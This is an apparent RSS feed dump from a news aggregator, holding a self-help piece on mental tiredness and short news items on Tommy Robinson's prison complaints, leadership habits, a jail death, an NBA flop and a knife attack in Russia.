a greater capacity to shift into a new gear.

7. Reduce, minimize or eliminate your exposure to prolonged stressors or stressful periods.

This can be much harder to put into practice. You might gradually need to look at the people, activities, your work and ways you operate in your relationships and friendships to see what stressors you are exposing yourself to and how often.Working with a coach or mentor – someone who is completely non-biased in your assessment – can greatly help to really map out where your mental tiredness is truly exacerbated. Some friendships may need to end. You may need to explore flexible work options with your boss.The journey will be easier when you develop and gradually work through a hierarchy of gradual change.

8. Increase qualified support networks and resources.

Most would think that asking for help and assistance automatically reduces your mental tiredness. However, getting advice and help from people who are not qualified or biased about how you can overcome your challenges can plummet your mental tiredness further and make matters worse.Start asking yourself three questions:

  1. What sort of support, guidance and help do I need?
  2. Where are the places I know where to get that help?
  3. What qualifies this person or resource to be able to provide me with that help?
  4. Are they coming from a position that unconditionally supports me or are they projecting their own views and expectations upon me?

It is nonsensical to ask someone who has no business ownership experience – nor run a successful business – how to run a business. The same goes for any area of our life, professional or personal. Yet, we often do this.The more we make unsuitable choices of where we get our advice, information and guidance from, we will continue to be mentally tired. We then sustain unhelpful behaviors which keep us stuck and safe.Be more discerning about who and where you get your advice and guidance from, gain better clarity about the way forward and lift another level of that festering fatigue!

9. Build in pause time.

Positive and constructive day-dreaming allows you to mentally breathe. According to Dr. Srini Pillay, Assistant Professor of Psychiatry at Harvard Medical School, we daydream for approximately 46.9% of the day!We may as well take advantage of this fact and direct it using positive constructive day-dreaming.((Front Psychol: Ode to positive constructive daydreaming)) You can biologically change your brain by carefully constructing the imagery that you tell your brain to create.Focus on overcoming your challenges and see yourself in the process of actually doing what is required. Do this at the same time as a low-concentration activity such as meandering-type walking (not power walking in the gym) and double your impact. Overcome your brain exhaustion by directing imagined focus on what you want and where you want to go.Peta Ellis , CEO of River City Labs which fosters some of Australia’s newest and most innovative businesses, is a serial start-up founder who swears by having ‘headspace for Peta’. Between 4:00 am and 5:00 am, Peta speaks to no one, does gentle exercise and listens to music. Her days are filled with talking with people constantly so she does not negotiate on having this time for herself.At moments throughout the day, she schedules in non-interrupted fifteen-minute pockets to reflect on how she is feeling, self-monitor and reflect on how she is progressing and also what she needs to do next.Scheduled pauses are one of her most powerful assets to maintaining such a strong entrepreneurial drive.

10. Gradually reduce procrastination on things that really need active attention.

The more you resist, the more it persists. The reality is that the longer important things are left unattended, the more detrimental the negative consequences can become. Rumination then becomes layered with greater feelings of guilt, disappointment and pressure all of which add to your brain feeling exhaustion.If you are going to procrastinate, do it properly!Give yourself full permission to do menial administration tasks and unproductive email sorting but set a time limit on it. Then set a limited time period devoted to the activity you MUST attend to.Don’t necessarily aim for completion if that puts extra psychological pressure on your mindset. Simply aim to dedicate good effort for that period of time.Throughout her life’s work of research on mindset, Stanford University Professor of Psychology Dr. Carol Dweck explains that when we place emphasis on dedicating quality effort as opposed to ensuring a certain outcome, completing the job becomes and feels easier. You then set your next dedicated procrastination time to be slightly shorter…and shorter again.((Carol Dweck: A Summary of The Two Mindsets And The Power of Believing That You Can Improve))Before you know it, you will become more productive with less effort and your mental space will become clearer.

11. Choose to stimulate your mind with energizing information.

If you have career challenges which are not easily or immediately solvable, spending all your waking hours watching television shows such as Jerry Springer are going to add to your feeling mentally tired.Invest a little time to strategically choose literature, podcasts and being around people that help you work through your current challenges. Whilst driving, listen to an audiobook with content that helps you learn how to work through your problems or talk with your passenger about ideas and solutions which energize and increase your motivation to tackle your day ahead.However, be careful of taking this to the extreme. Becoming a serial course junkie and having a podcast to fill up every other second you are not working will fry your brain.Your body’s muscles become stronger whilst repairing on the rest days after you have completed a weights session at the gym. In similar fashion, your mind becomes stronger when you choose helpful energizing information to feed it but you must allow rest time for your mind to process it to gain the full benefit.

]]> https://briefnews.eu/what-mentally-tired-means-and-11-ways-to-combat-brain-exhaustion/feed/ 0 ‘Mentally tortured’ Tommy Robinson complains of no TV during prison stint, likens it to GITMO https://briefnews.eu/mentally-tortured-tommy-robinson-complains-of-no-tv-during-prison-stint-likens-it-to-gitmo/ https://briefnews.eu/mentally-tortured-tommy-robinson-complains-of-no-tv-during-prison-stint-likens-it-to-gitmo/#respond Sat, 04 Aug 2018 18:24:12 +0000 http://briefnews.eu/mentally-tortured-tommy-robinson-complains-of-no-tv-during-prison-stint-likens-it-to-gitmo/

Recently released Tommy Robinson claims he was ‘mentally tortured’ in prison complaining of no TV, inability to eat prison food and being moved to facility with larger Muslims population.

Robinson, real name Stephen Yaxley-Lennon, the former leader of the English Defence League (EDL) got a 13 month sentence in May for contempt of court. On Wednesday, the defense team for the darling of the British and international right successfully appealed the sentence and he was released on bail pending a retrial.

In several prison complaint forms posted to his Facebook page on Friday, Robinson’s claims of mistreatment included being moved from a prison where only 7% of inmates were Muslim to one where a third of them are; being locked up for 23 hours a day “for his own protection,”; and accused prison authorities of “punishing” him with no TV access in his cell.

“I’d like to be given a TV as I feel I am being mentally tortured,” he wrote.

Another complaint form saw him request “extra spends” in order to buy more food as paranoia over what people preparing his meals might do to it had resulted in him losing weight as he was only able to eat canned food.

“This would make up a bit for being held in isolation,” Robinson said.

The prison service has rejected the claims, with a spokesperson saying “Mr Yaxley-Lennon was treated with the same fairness we aim to show all prisoners.”

It added that claims of being held in solitary confinement were “totally false.”

Since his release, Robinson has refused to talk to mainstream media in the UK, accusing a BBC reporter asking for comment upon his release that “all you do is lie.”

Speaking to Fox News’ Tucker Carlson on Friday, Robinson documented his mistreatment further, saying that he had to keep his windows and doors closed during the recent spell of hot weather for fear of having other prisoners spit or throw excrement into his cell.

“I was supposed to be in Her Majesty’s Prison Service, not Guantanamo Bay,” he said.

READ MORE: ‘U mad bro?’ Twitter descends into right-left spats over Tommy Robinson release from jail

His Guantanamo Bay claim has received derision online, with British ex-Guantanamo prisoner and activist Moazzam Begg accusing Robinson of not being able to “handle a few weeks inside.”

During his Fox interview, Robinson also disclosed a never-mentioned-before Post Traumatic Stress Disorder (PTSD) obtained from a previous five-month spell in solitary confinement when he was in prison in 2012.

In October 2012 Robinson was arrested for illegally entering the United States under a false passport while concealing a previous drug conviction.

After spending Christmas in jail, he was convicted and sentenced to 10 months in January 2013.

Other convictions include assault, participation in mass brawls and mortgage fraud.

Since his most recent incarceration, he has seen a swelling in support both within the UK and from the US and European political right. He has also received more than £20,000 in Bitcoin donations since he was jailed in May.

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]]> https://briefnews.eu/mentally-tortured-tommy-robinson-complains-of-no-tv-during-prison-stint-likens-it-to-gitmo/feed/ 0 How to Increase Willpower and Be Mentally Tough https://briefnews.eu/how-to-increase-willpower-and-be-mentally-tough/ https://briefnews.eu/how-to-increase-willpower-and-be-mentally-tough/#respond Fri, 03 Aug 2018 06:42:32 +0000 http://briefnews.eu/how-to-increase-willpower-and-be-mentally-tough/ Everyone has something they’d like to change. The desire for self-improvement and progression is innate. […]

READ MORE: How To Gain Willpower And Self-Discipline

]]> https://briefnews.eu/how-to-increase-willpower-and-be-mentally-tough/feed/ 0 13 things mentally strong leaders don’t do https://briefnews.eu/13-things-mentally-strong-leaders-dont-do/ https://briefnews.eu/13-things-mentally-strong-leaders-dont-do/#respond Thu, 14 Dec 2017 08:31:20 +0000 http://briefnews.eu/13-things-mentally-strong-leaders-dont-do/ coworker boss employeeStrelka Institute/Flickr

  • Great leaders avoid bad habits that are a detriment to their mental strength, and others. 
  • Instead, they accept their insecurities, and don’t suppress their emotions.
  • They don’t deny their own limitations, and show compassion to others.
  • They also stay focused on their own path to success.

 

My fifteen years as a psychotherapist taught me about mental strength and the resilience of the human spirit. I saw countless people bounce back from overwhelming adversity and beat the odds.

One of the biggest lessons I learned about mentally strong people was that their resilience had less to do with what they did and was more dependent on what they didn’t do.

People who resisted unhealthy mental habits had an incredible advantage in life. No matter what hardships, challenges, or setbacks they encountered, they had a superior ability to reach their greatest potential.

Leaders, in particular, need mental muscle to lead their teams through good times and bad. And to make their good habits effective, they need to give up the bad habits that could rob them of mental strength.

Here are the 13 things mentally strong leaders don’t do:

1. They don’t mask their insecurities

Strelka Institute/Flickr

Admitting you’re not adept at everything requires humility — which is a true sign of strength. But many leaders want to act tough. Mentally strong leaders, however, refuse to waste their time and energy hiding their weaknesses. Instead, they put their effort into growing better and becoming stronger.

2. They don’t make their self-worth dependent upon other’s opinions

If your self-worth plummets each time you hear something critical — or skyrockets every time you receive praise — you’ll become a people pleaser who can’t successfully lead. Mentally strong leaders don’t depend on others to validate their self-worth.

3. They don’t let their emotions control them

Strelka Institute for Media, Architecture and Design/flickr

Mentally strong leaders don’t suppress their emotions — they are acutely aware of how their feelings influence their behavior. Rather than blow up every time they’re angry or bow out every time they’re nervous, they’re able to regulate their emotions so they can behave productively.


See the rest of the story at Business Insider

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]]> https://briefnews.eu/13-things-mentally-strong-leaders-dont-do/feed/ 0 Family of mentally ill man who died in jail learns their request for information denied https://briefnews.eu/family-of-mentally-ill-man-who-died-in-jail-learns-their-request-for-information-denied/ https://briefnews.eu/family-of-mentally-ill-man-who-died-in-jail-learns-their-request-for-information-denied/#respond Fri, 08 Dec 2017 19:16:25 +0000 http://briefnews.eu/family-of-mentally-ill-man-who-died-in-jail-learns-their-request-for-information-denied/ Soleiman Faqiri

When police announced there would be no charges laid in Soleiman Faqiri’s death, his family was told to file an FOI request for more details. Now just days away from the 1-year anniversary, that request has been denied, with police saying releasing the details could compromise an ongoing investigation.

CBC | Health News

]]> https://briefnews.eu/family-of-mentally-ill-man-who-died-in-jail-learns-their-request-for-information-denied/feed/ 0 Joel Embiid shows he can beat opponents physically and mentally with a masterful sequence https://briefnews.eu/joel-embiid-shows-he-can-beat-opponents-physically-and-mentally-with-a-masterful-sequence/ https://briefnews.eu/joel-embiid-shows-he-can-beat-opponents-physically-and-mentally-with-a-masterful-sequence/#respond Wed, 22 Nov 2017 08:21:40 +0000 http://briefnews.eu/joel-embiid-shows-he-can-beat-opponents-physically-and-mentally-with-a-masterful-sequence/ Joel EmbiidAP Photo/Matt Slocum

  • Joel Embiid trolled Jazz guard Donovan Mitchell into a cheap technical foul on Monday night.
  • After the game, Embiid openly admitted to flopping on the play, causing reporters to laugh at his bluntness on the matter.
  • The move shows Embiid’s potential to become one of the legendary trash talkers in the league.

Despite being just 45 games into his NBA career, Joel Embiid is already showing a range to his game that makes some believe he could go down as one of the greatest players ever.

During the Sixers’ road trip, Embiid played some of the best games yet in his career, including a 46-point performance against the Lakers that served as a coming out party to any basketball fans who weren’t yet aware of Embiid’s dominant abilities.

But on Monday night against the Utah Jazz, Embiid showed a different type of dominance — that of the mental mind games that can take over NBA courts.

In the third quarter, Embiid delivered a hard block to Jazz guard Donovan Mitchell. After the play, he stared down Mitchell as he was on the ground, said some words, and began to trot back to the Sixers side of the floor. In response, Mitchell got up and shoved Embiid. When Embiid embellished the contact and fell to the ground, Mitchell was immediately hit with a technical foul, which Embiid mimed along with and used to pump up the home crowd.

You can watch the whole scene play out below.

While the play obviously started with Embiid’s physical dominance, after the block, it’s the center’s tendency to troll that takes over on the court, and he employs in to perfection. As soon as Mitchell makes contact with him he falls to the floor — all seven feet and 250 pounds of him — in a heap in order to draw the foul, which he then celebrates with an smile that reads simply, “Gotcha.”

Despite a relatively mediocre statline from Embiid — 15 points, 11 rebounds, 3 assists, and 2 blocks in 27 minutes of work — his provocation of Mitchell still provided him with the highlight of the night as the Sixers took the win 107-86.

After the game, Embiid openly acknowledged the fact that he flopped while speaking with reporters. “Obviously I blocked the shot, and said then I something to him,” Embiid said when asked to talk through the play. “And then he just got up and kind of fake shoved me, and I flopped, and he got a technical for it. So that’s basically how it happened.”

Reporters broke out in laughter after he admitted to “flopping” so openly.

Embiid added that it was all a light-hearted affair though, saying “But it’s all fun after the game. We shook hands. It was all fun.”

You can watch Embiid’s post-game interview below.

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The NBA is known for its legendary trash talkers, from Hall of Famer Kevin Garnett to current title-holder Draymond Green. But not even 50 games into his young career, Embiid is already showing an acumen for the art form, and getting results.

Combined with his fantastic play on the court and his fun-loving social media presence that has made him so beloved throughout the league, Embiid is developing into a true triple-threat.

NOW WATCH: Watch the 25-year-old Georgia Dome stadium in Atlanta implode using almost 5,000 pounds of dynamite

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]]> https://briefnews.eu/joel-embiid-shows-he-can-beat-opponents-physically-and-mentally-with-a-masterful-sequence/feed/ 0 Mentally ill knifeman in Russia slaughters 2 women, dies after epileptic fit (VIDEO) https://briefnews.eu/mentally-ill-knifeman-in-russia-slaughters-2-women-dies-after-epileptic-fit-video/ https://briefnews.eu/mentally-ill-knifeman-in-russia-slaughters-2-women-dies-after-epileptic-fit-video/#respond Tue, 07 Nov 2017 15:07:20 +0000 http://briefnews.eu/mentally-ill-knifeman-in-russia-slaughters-2-women-dies-after-epileptic-fit-video/

A man in Russia’s Urals with mental health issues brutally murdered two women, then had an epileptic fit and died, police have said. A video released by local media shows the suspect attacking a passing car with a knife.

The incident took place in the small village of Kedrovka in the Urals region on Saturday, local police said in a statement, calling the events a “terrible massacre.” The suspect, a mentally ill man in his 40s rushed into a local shop, where he repeatedly and fatally stabbed a saleswoman. The body of the second woman, apparently a witness, was found 8 meters from the first victim. 

READ MORE: Forcing victims to eat each other, feeding on mother’s body: Russia’s grisliest cannibalism cases

The man then dashed into the street, swinging his knife. Some passers-by attempted to stop the attacker, before he was detained by two traffic police officers who happened to be in the area. After the suspect was handcuffed, he suddenly experienced an epileptic seizure, police said. The man died on the spot before the ambulance arrived.

The suspect’s mother told police that her son had behaved aggressively on Saturday morning, which led her to call her daughter asking her to take the man to hospital. “However, the relatives couldn’t protect themselves and others,” the statement said.

‘He took off her scalp’

A local news online portal e1.ru released graphic footage from a car video recorder, allegedly showing the attacker on killing spree. The video captures the man violently attacking someone on the ground. He then notices the approaching vehicle and attacks its windshield with his knife, almost breaking the glass, as the driver races past the scene.

“The attacker was stabbing a woman with a knife. Her body was terribly mutilated: he took off her scalp,” a local resident, identified as Aleksandr Snegiryov, told the outlet. 

When the suspect started attacking a driver in another vehicle, Snegiryov says he knocked him over with his car, whereupon two other men grabbed the attacker and pinned him to the ground. “He was roaring like a wild beast,” Snegiryov added.
Other witnesses also shared the details of the tragedy on

Russian social media network VKontakte. One woman released a video of the alleged attack aftermath which shows police surrounding what appears to be a human body covered by a blanket.

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RT – Daily news

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